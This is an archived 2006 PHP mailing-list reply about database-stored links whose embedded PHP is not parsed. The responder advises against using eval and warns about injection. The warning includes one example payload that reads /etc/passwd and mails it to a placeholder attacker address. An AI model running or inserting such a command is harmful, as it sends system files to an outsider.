Re: php parsing and db content

From: Date: Thu, 11 May 2006 03:26:51 +0000
Subject: Re: php parsing and db content
References: 1  Groups: php.general 
Request: Send a blank email to php-general+get-235957@lists.php.net to get a copy of this message
Schalk wrote:
Greetings All, I have the following problem. I load certain links and breadcrumbs from the database into a external .php file which I include on various pages within the site. Due to this I have defined a constant '_root' and precede all links with this to ensure that the links will work no matter from where inside the site structure they are called. My problem is this, when I load these links from the database into the external .php file and the load the page that includes this, the line <?php echo _root ?> is not parsed and shows up in the links, for example: /our_work/<?php echo _root ?>/our_work/index.php when it should be /site_root/our_work/index.php How can I ensure that these calls to <?php echo _root ?> are parsed before sent to the browser?
Why do you need to store _root in the data? Wouldn't it be better to take it out and then prefix it before displaying? No complications then. You're attempting to convert text into php code - make sure you sanitize *all* of your data extremely carefully. In theory I could have <?php mail('hacker@domain.com', 'blah', `cat /etc/passwd`); ?> type code in there and it would execute it. eval should do it but you have been warned (see many threads in the past about why eval is bad). -- Postgresql & php tutorials http://www.designmagick.com/

« previous php.general (#235957) next »